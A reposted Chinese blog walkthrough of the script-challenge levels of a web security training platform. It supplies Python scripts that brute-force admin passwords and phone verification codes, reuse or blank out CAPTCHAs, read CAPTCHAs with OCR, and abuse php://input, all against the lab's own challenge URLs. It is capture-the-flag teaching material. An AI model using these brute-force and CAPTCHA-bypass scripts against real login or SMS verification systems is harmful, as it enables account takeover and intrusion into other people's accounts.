网络信息安全攻防学习平台脚本关过关攻略

独自等待 2017年5月12日02:48:31评论703 views字数 4320阅读14分24秒阅读模式

之前我发布了网络信息安全攻防学习平台基础关过关攻略,今天我们连载网络信息安全攻防学习平台脚本关过关攻略,感兴趣的小伙伴们可以研究一下,本关将提供大量的python代码,需要一定的python基础,关于python的学习视频,可以在本博客搜索相关文章。

游戏地址:

http://hackinglab.sinaapp.com/index.php

脚本关过关攻略

第1题:key又又找不到了

小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!

点击_到这里找key__以后,发现提示,从哪来回哪去,这里我们需要用到burpsuite,对请求数据包进行抓包,在burpsuite里直接可以看到提示。这里主要是使用js进行了跳转,导致我们直接看不到,使用抓包工具可以很容易搞定。

网络信息安全攻防平台

第2题:快速口算

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

这里的过关地址,每次get请求得到的数据都是变化的,所以需要我们使用脚本获取到相应的数据,并使用脚本计算,这个就很容易了。

这里我使用的是python脚本实现的,当然你也可以用php来实现,之前我使用的是httplib,代码很长,很多朋友建议使用一下resuqests库,今天我又重写了这个脚本,发现requests库很好,很强大,以下是代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/25
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import re

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

print '\n网络信息安全攻防学习平台脚本关第2题\n'
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
res = unicode(r.content, 'utf-8').encode('gbk')
# print res

num = re.findall(re.compile(r'
\s+(.*?)='), res)[0] print '当前获取到需要口算的表达式及计算结果为:\n\n%s=%d\n' % (num, eval(num)) r = s.post(url, data={'v': eval(num)}) print re.findall(re.compile(r'(.*?)'), r.content)[0]

网络信息安全攻防平台

第3题:这个题目是空的

Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

这个题,我忘了我当时是使用的哪个字符过的了,现在又无法重新过关,所以我把我当时可能使用到的字符提供给大家,大家去测试一下就行了,或者有知道的小伙伴留言提示一下。。

用来表示空白的字符串可能为:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,大家都试一下吧。

据楼下小伙伴留言,答案应该是 null

第4题:逗比验证码第一期

逗比的验证码,有没有难道不一样吗? 这一关的验证码没有设置成post提交一次就失效,所以在获取得到了验证码以后,可以直接多次提交,用python脚本来实现,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第4题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': 'gkcj'}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

网络信息安全攻防平台

第5题:怎么就是不弹出key呢?

提交说明:提交前14个字符即可过关

这一关主要考的是js的驾驭能力,查看源代码发现变量a其实是一个匿名函数,而且js里面也禁用了一些常用的弹出对话框的函数,由于js是基于客户端浏览器的,所以我们把代码复制下来,美化后改成如下格式运行即可得到key


网络信息安全攻防平台

js解密

第6题:逗比验证码第二期

验证便失效的验证码,程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”

这一关的验证码,验证一次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为''的就可以,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第6题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

网络信息安全攻防平台

第7题:逗比的验证码第三期(SESSION)

Tips:密码是4位数字,首位不是0 Tips2: SESSION

这一关,不知道为什么我用类似第6题的代码一样可以直接过,tips2 session的问题我怎么感觉没有用呢???

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第7题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

网络信息安全攻防平台

第8题:微笑一下就能过关了

首先你要得到这一关的源代码,index.php?view-source这样访问即可得到 index.php 文件的源代码,代码如下:

 

这一关郁闷了我好久,最后还是看了网上的说明才过去的,思路转载如下:

http://blog.watch0ut.com/isg-2014-writeup-smile-chopper-cryptobaby-gif/

网络信息安全攻防平台

既然有了思路,那么用python实现起来就容易了,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import urllib
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第8题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input'
    header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}
    r = s.post(url, data=urllib.unquote("%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29"), headers=header)
    print r.content
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

网络信息安全攻防平台

第9题:验证码识别

Tips:验证码依然是3位数

这一关要考的是验证码识别,需要有一定的编程功底才行的,我分别用python及php实现了识别,代码分享如下:(关于php版的由于本文太长了,所以我会另外写一篇关于验证码识别的文章,当然是基础的。)

在运行脚本之前,请先获取一下手机验证码,这是前提。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/27
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import pytesseract
    from PIL import Image
    import requests
except ImportError:
    print '模块导入错误,请使用pip安装,pytesseract依赖以下库:'
    print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'
    print 'http://code.google.com/p/tesseract-ocr/'
    raise SystemExit

header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}


def vcode():
    "python验证码识别函数"
    pic_url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
    r = requests.get(pic_url, headers=header, timeout=10)
    with open('vcode.png', 'wb') as pic:
        pic.write(r.content)
    im = pytesseract.image_to_string(Image.open('vcode.png'))
    im = im.replace(' ', '')
    if im != '':
        return im
    else:
        return vcode()


try:
    print '\n网络信息安全攻防学习平台脚本关第9题\n'
    for pwd in xrange(100, 999):
        code = vcode()
        url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
        payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code}
        r = requests.post(url, data=payload, headers=header, timeout=10)
        response = unicode(r.content, 'utf-8').encode('gbk')
        if 'error' not in response:
            print '正确的验证码为:', pwd, response
            break
        else:
            print '正在尝试手机验证码:', pwd, code
except KeyboardInterrupt:
    raise SystemExit('爷,按您的吩咐,已成功退出!')

其中验证码识别部分需要安装一些依赖库及程序,脚本中有提示,请使用脚本之前进行安装。

网络信息安全攻防平台

第10题:逗比的手机验证码

你的手机号码是13388886666,验证码将会以弹窗的形式给出。这一关相对来说比较简单,只是注意一下细节方面的问题即可。

在点击获取手机验证码后,验证码会直接提示,提交这个验证码会提示:“please login as 13388886667”,那么,我们在得到验证码以后,把手机号的最后一位改为7即可秒过这关了。。

第一次过关的时候,我使用的python脚本获取验证码,然后再用脚本提交,再次测试发现,原来直接手工更简单,没有必要折腾代码了。

第11题:基情燃烧的岁月

Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666

点击获取手机验证码以后,弹出“手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0”,这样的话就只能使用脚本来实现了,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/27
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}

try:
    print '\n网络信息安全攻防学习平台脚本关第11题\n'
    for pwd in xrange(100, 999):
        url = 'http://1.hacklist.sinaapp.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php'
        payload = {'username': 13388886666, 'vcode': pwd}
        r = requests.post(url, data=payload, headers=header, timeout=10)
        response = unicode(r.content, 'utf-8').encode('gbk')
        if 'error' not in response:
            print '正确的验证码为:', pwd, response
            break
        else:
            print '正在尝试手机验证码:', pwd
except KeyboardInterrupt:
    raise SystemExit('爷,按您的吩咐,已成功退出!')

结果弹出来了如下提示:

网络信息安全攻防平台

前任的手机号码是:13399999999

然后把Phone:改为13399999999,获取一下手机验证码,然后再把脚本里面的手机号改成这个13399999999再破解一次即可得到key。。

网络信息安全攻防平台

好了,脚本关完成,写了我几天的时间,所有的python代码基本上完全改写了,使用requests库来完成,之前的是使用httplic+urllib,请继续关注注入关及其它关。。。

修订时间

看看时间,居然0:23分还在为大家分享文章,所以请大家支持一下小弟吧。。。^_^^_^^_^

2015-04-16 修正第5关错误,感觉网友netpoplk的提醒。。。

修订版本

常关注小弟博客的兄弟们会有福利哦,稍候发放。



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:48:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络信息安全攻防学习平台脚本关过关攻略http://cn-sec.com/archives/50423.html

发表评论

匿名网友 填写信息